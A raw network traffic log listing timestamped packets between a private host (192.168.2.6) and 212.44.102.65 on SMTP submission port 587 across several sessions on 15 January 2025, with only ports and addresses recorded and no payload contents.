Jan 15, 2025 08:42:22.957576990 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.960658073 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.960669041 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.960676908 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.960738897 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.960764885 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.962512016 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962522984 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962531090 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962537050 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962547064 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962578058 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.962614059 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.962687016 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962688923 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.962730885 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.962750912 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.965451956 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.965464115 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.965527058 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.965584040 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.965626955 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.967431068 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967452049 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967485905 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.967495918 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967550039 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.967680931 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967741966 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.967747927 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967757940 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967767000 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.967804909 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.967833996 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.970426083 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.970485926 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.970551968 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.970599890 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.972305059 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972322941 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972359896 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.972364902 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972397089 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.972409010 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972554922 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972563982 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972595930 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972671032 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972712994 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972722054 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972773075 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972814083 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972822905 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972840071 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972848892 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972867012 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.972875118 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.975362062 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.975372076 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977046967 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977056026 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977072954 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977082968 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977092028 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977102995 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977118015 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977135897 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977147102 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977155924 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977193117 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977324963 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977334023 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977351904 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.977360010 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:23.457259893 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:23.527827024 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:23.609373093 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:23.614583015 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.006398916 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.007088900 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.007241011 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.007294893 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.011420012 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.012239933 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.016467094 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.019649982 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.602267027 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.602474928 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.608086109 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.796267033 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.798405886 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.803275108 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.992692947 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:24.993021011 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:24.997865915 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.206706047 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.278711081 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.283766985 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.473020077 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.473162889 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.478048086 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.717670918 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.721400023 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.726248026 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.923404932 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.923728943 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.923791885 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.923793077 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.923909903 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.925421000 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.928704977 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.928736925 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.928766012 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.928854942 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.928901911 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.930326939 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930380106 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930408001 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930458069 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930485964 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930500031 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.930536032 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930563927 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.930574894 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.930609941 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.930644989 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.933492899 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.933521986 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.933559895 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.933619022 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.933779955 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.934143066 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.935437918 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935497999 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935523033 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.935569048 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935574055 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.935693026 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.935710907 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935739040 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935766935 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935781002 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.935798883 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.935857058 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.935878038 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.938538074 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.938725948 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.939146996 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.939218044 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.940443039 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.940515041 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:25.940752029 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.940804958 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.940834045 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.940916061 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.940943956 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.940972090 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941020966 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941049099 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941076040 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941126108 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941152096 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941179991 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941206932 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.941234112 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.943608999 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945230961 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945260048 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945293903 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945343018 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945475101 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945524931 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945628881 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945657015 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945684910 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945710897 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945760965 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945787907 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945837975 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945866108 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945892096 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:25.945919037 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:26.436800003 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:26.529490948 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:30.701965094 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:30.707000971 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.098568916 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.098680973 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:31.098718882 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.098769903 CET	50002	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:31.099828959 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:31.103542089 CET	587	50002	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.104671955 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.104728937 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:31.691896915 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.692764997 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:31.697566986 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.887778997 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:31.888030052 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:31.893045902 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.083301067 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.084306002 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.089489937 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.323121071 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.323364973 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.328188896 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.518285990 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.518877029 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.523785114 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.626959085 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.631959915 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.763081074 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.763211966 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.768023968 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.958173990 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.958420038 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.958513021 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.958539963 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.958698988 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.960484028 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.963346004 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.963361025 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.963373899 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.963433981 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:32.963529110 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965358973 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965373039 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965396881 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965409040 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965420961 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965610027 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.965622902 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.968076944 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.968105078 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:32.968249083 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.027595997 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.027699947 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.027740002 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.027813911 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.027998924 CET	49994	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.029474974 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.032680988 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.032742977 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.032768011 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.032788038 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.032798052 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.032856941 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.032869101 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.032932997 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.037421942 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037436962 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037447929 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037458897 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037472010 CET	587	49994	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037484884 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037498951 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037508965 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.037547112 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.037580013 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.037615061 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037791967 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037808895 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.037848949 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.042262077 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.042277098 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.042288065 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.042371988 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.042515039 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.043118954 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.421720982 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.527695894 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.622785091 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.622994900 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.627916098 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.817313910 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:33.817573071 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:33.822612047 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.023073912 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.027491093 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.032475948 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.238832951 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.239784002 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.244613886 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.433959007 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.434118032 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.439019918 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.675544977 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.675803900 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.680618048 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.863714933 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.868632078 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.870657921 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.871047974 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.871047974 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.871047974 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.871085882 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.872675896 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.875941038 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.875957966 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.875969887 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.876022100 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.876039028 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.877533913 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877549887 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877573013 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877584934 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877607107 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877619028 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877631903 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877760887 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.877773046 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.880825996 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.918406963 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.924397945 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.924540043 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.929402113 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929462910 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929477930 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929480076 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.929528952 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929548025 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.929564953 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929605007 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:34.929608107 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929653883 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929692030 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929733992 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929769993 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929815054 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929883957 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929897070 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.929999113 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.930011988 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.930023909 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934269905 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934302092 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934317112 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934362888 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934377909 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934490919 CET	587	50004	212.44.102.65	192.168.2.6
